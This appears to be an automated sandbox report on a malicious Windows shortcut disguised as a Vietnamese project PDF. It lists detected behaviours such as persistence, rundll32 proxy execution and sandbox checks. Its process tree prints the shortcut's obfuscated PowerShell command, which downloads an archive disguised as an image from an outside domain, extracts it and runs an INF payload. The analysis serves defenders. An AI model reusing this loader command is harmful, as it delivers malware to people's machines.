Overview

overview

8

Static

static

1

Ho so du a...df.lnk

windows10-2004-x64

8

Ho so du a...df.lnk

windows11-ltsc_2024-x64

8

Ho so du a...df.lnk

windows10-2004-x64

8

Ho so du a...df.lnk

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    298s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 16:59

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General

  • Target
    Ho so du an 275/BA trien khai du an 275 theo yeu cau. 493583495.pdf.lnk
  • Size 1KB
  • Sample260709-vhdynad13l
  • SHA256 dca817a52c43c94987682f9bf7cfc441809772770be085537e1ead2c15a5f7fb
  • MD5 SHA1 SHA512 TLSH
Score
8/10
adwaredefense_evasiondiscoverypersistenceransomwarespyware

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • System Binary Proxy Execution: Rundll32 1 TTPs 1 IoCs

    Abuse Rundll32 to proxy execution of malicious code.

    defense_evasion
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Ho so du an 275\BA trien khai du an 275 theo yeu cau. 493583495.pdf.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3844
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -c "$u='newb' + 'ifre' + '.top' + '/g/1' + '6.zi' + 'p';irm $u -O $env:APPDATA\d.png;tar -xf $env:APPDATA\d.png -C .;rundll32 advpack.dll,LaunchINFSection 1.inf,DefaultInstall_SingleUser,1"
      2⤵
      • Badlisted process makes network request
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1832
      • C:\Windows\SysWOW64\tar.exe
        "C:\Windows\system32\tar.exe" -xf C:\Users\Admin\AppData\Roaming\d.png -C .
        3⤵
          PID:1620
        • C:\Windows\SysWOW64\rundll32.exe
          "C:\Windows\system32\rundll32.exe" advpack.dll,LaunchINFSection 1.inf,DefaultInstall_SingleUser,1
          3⤵
          • System Binary Proxy Execution: Rundll32
          • System Location Discovery: System Language Discovery
          PID:5024
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:356
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:4308
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4164
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:3092

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 599B
          • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/1832-14-0x0000000006230000-0x000000000627C000-memory.dmp
          Download

          memory/1832-4-0x0000000005570000-0x0000000005BBA000-memory.dmp
          Download

          memory/1832-5-0x0000000073D40000-0x00000000744FC000-memory.dmp
          Download

          memory/1832-6-0x0000000073D40000-0x00000000744FC000-memory.dmp
          Download

          memory/1832-7-0x00000000053A0000-0x00000000053C2000-memory.dmp
          Download

          memory/1832-9-0x0000000005C30000-0x0000000005C96000-memory.dmp
          Download

          memory/1832-8-0x0000000005BC0000-0x0000000005C26000-memory.dmp
          Download

          memory/1832-12-0x0000000005DA0000-0x00000000060FB000-memory.dmp
          Download

          memory/1832-2-0x0000000073D52000-0x0000000073D53000-memory.dmp
          Download

          memory/1832-13-0x0000000006180000-0x000000000619E000-memory.dmp
          Download

          memory/1832-18-0x0000000073D40000-0x00000000744FC000-memory.dmp
          Download

          memory/1832-16-0x00000000066D0000-0x00000000066EA000-memory.dmp
          Download

          memory/1832-15-0x0000000007AC0000-0x000000000813C000-memory.dmp
          Download

          memory/1832-3-0x0000000004EE0000-0x0000000004F16000-memory.dmp
          Download

          memory/3092-195-0x000001CE6B4F0000-0x000001CE6B924000-memory.dmp
          Download

          memory/4164-40-0x000001F8001E0000-0x000001F8002E0000-memory.dmp
          Download

          memory/4164-85-0x000001F804720000-0x000001F804740000-memory.dmp
          Download

          memory/4164-57-0x000001F802D70000-0x000001F802D90000-memory.dmp
          Download

          memory/4164-50-0x000001F802A30000-0x000001F802A50000-memory.dmp
          Download

          memory/4164-51-0x000001F802E70000-0x000001F802F70000-memory.dmp
          Download